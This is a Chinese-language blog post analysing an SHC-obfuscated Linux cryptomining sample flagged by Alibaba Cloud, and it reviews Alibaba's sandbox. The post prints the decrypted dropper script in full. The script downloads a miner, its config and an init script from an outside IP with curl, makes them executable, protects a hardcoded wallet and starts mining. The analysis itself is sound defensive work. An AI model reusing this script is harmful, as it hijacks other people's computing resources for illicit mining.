近期收到阿里云安全中心的一个安全告警,就随手扔到了vt上看下是啥东西
md5: d1be07f497cdf665fd019208ec921dc2
但是很意外,VT上查杀结果没有显示这是一个什么类型的恶意文件,而且查杀率也不高。
自己在IDA分析了一波,但是一无所获,没有发现任何可疑的函数/字符串之类的
就发现有一些加解密的函数,猜测文件应该是被某种手段混淆处理过,但是具体这个文件做了什么事情是看不出来的
后来提交工单,想要问下这个文件为什么会告警,有哪些恶意行为,得到的回复是阿里云引擎独检,并建议我用他们的沙箱看下这个文件具体的恶意行为。
阿里云沙箱地址:https://ti.aliyun.com/#/sastiFile
在阿里云沙箱给出的文件报告里显示这个文件是挖矿的,在行为标签里看到到该文件下载了两个文件,并且还执行了起来
并且看到一个文件被SHC加密的提示,证实了我的猜测
并且发起了http网络连接,看链接是下载文件
在文件行为里看到样本释放并给了下载的这个文件可执行权限
看到这里释放的config.json文件,猜测是类似XMRig挖矿的配置文件,但是现在链接下载失败了。
根据阿里云沙箱给的文件被SHC混淆的提示,在网上找到了相关的资料
SHC源码:https://github.com/neurobin/shc/blob/master/src/shc.c
一个去SHC混淆的工具:https://github.com/yanncam/UnSHc
[[email protected] tmp]# ./unshc.sh d1be07f497cdf665fd019208ec921dc2 _ _ _____ _ _ | | | | / ___| | | | | | | |_ __ \ `--.| |_| | ___ | | | | '_ \ `--. \ _ |/ __| | |_| | | | /\__/ / | | | (__ \___/|_| |_\____/\_| |_/\___| --- UnSHc - The shc decrypter. --- Version: 0.8 ------------------------------ UnSHc is used to decrypt script encrypted with SHc Original idea from Luiz Octavio Duarte (LOD) Updated and modernized by Yann CAM - SHc : [http://www.datsi.fi.upm.es/~frosal/] - UnSHc : [https://www.asafety.fr/unshc-the-shc-decrypter/] ------------------------------ [*] Input file name to decrypt [d1be07f497cdf665fd019208ec921dc2] [+] ARC4 address call candidate : [0x479630] [*] Extracting each args address and size for the 14 arc4() calls with address [0x479630]... [-] Unable to extract addresses of 14 arc4 args with ARC4 address call [0x479630]... [+] ARC4 address call candidate : [0x42ff10] [*] Extracting each args address and size for the 14 arc4() calls with address [0x42ff10]... [-] Unable to extract addresses of 14 arc4 args with ARC4 address call [0x42ff10]... [-] Unable to define arc4() call address...
解密失败了,看着项目描述是shc加密的特征是调用14次arc4,但实际上我在IDA看到调用了15次
这时候想到了另一个还原的办法,因为它最终要解密出bash脚本并执行,我可以hook下execve,dump出最后执行的bash代码
#!/bin/bash rm -rf /dev/shm/.x/temp directory=/var/tmp/.xrx wallet=4BDcc1fBZ26HAzPpYHKczqe95AKoURDM6EmnwbPfWBqJHgLEXaZSpQYM8pym2Jt8JJRNT5vjKHAU1B1mmCCJT9vJHaG2QRL filetypexrx="/var/tmp/.xrx/xrx: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, stripped" checkfiletype=$(file $directory/xrx) ifrunning=$(pgrep xrx) ### Check if /var/tmp/.xrx still exists on the system if [[ -d "$directory" ]]; then echo "$directory exists." else mkdir $directory fi ### Basic check if xrx is not a ELF executable or if it's not executable/existing if [ "$filetypexrx" = "$checkfiletype" ] || ! [ -x $directory/xrx ]; then echo "miner intact" else echo "miner missing/corrupted" chattr -ia $directory/xrx rm -rf $directory/xrx curl 141.95.19.91:8080/xrx/xrx -o $directory/xrx chmod +x $directory/xrx fi ### Make sure the wallet in the config is not changed if grep $wallet $directory/config.json -q ; then echo "wallet intact" else echo "wallet missing/tampered" chattr -ia $directory/config.json rm -rf $directory/config.json curl 141.95.19.91:8080/xrx/config.json -o $directory/config.json fi ### Make sure init.sh is existing,and executable if ! [ -x $directory/init.sh ]; then echo "init.sh missing/corrupted" chattr -ia $directory/init.sh rm -rf $directory/init.sh curl 141.95.19.91:8080/xrx/init.sh -o $directory/init.sh chmod +x $directory/init.sh else echo "init.sh intact" fi if test -z "$ifrunning" ; then echo "xrx not running,starting init.sh" $directory/init.sh fi
脚本的逻辑就很清晰了,下载了多个文件,包括挖矿文件和配置文件,还有一个init.sh文件,应该是用来起挖矿进程的。
阿里云这个Linux沙箱用着感觉检测能力还是挺ok的,但是也有几个弊端。比如似乎不会联网、也不能自定义命令行参数、也没看到允许下载恶意文件释放的中间文件...
不过总的来说,还是挺ok了,而且应该后续还会有新功能,持续关注吧。
以后遇样本不决,又多了一个选择(阿里云沙箱)。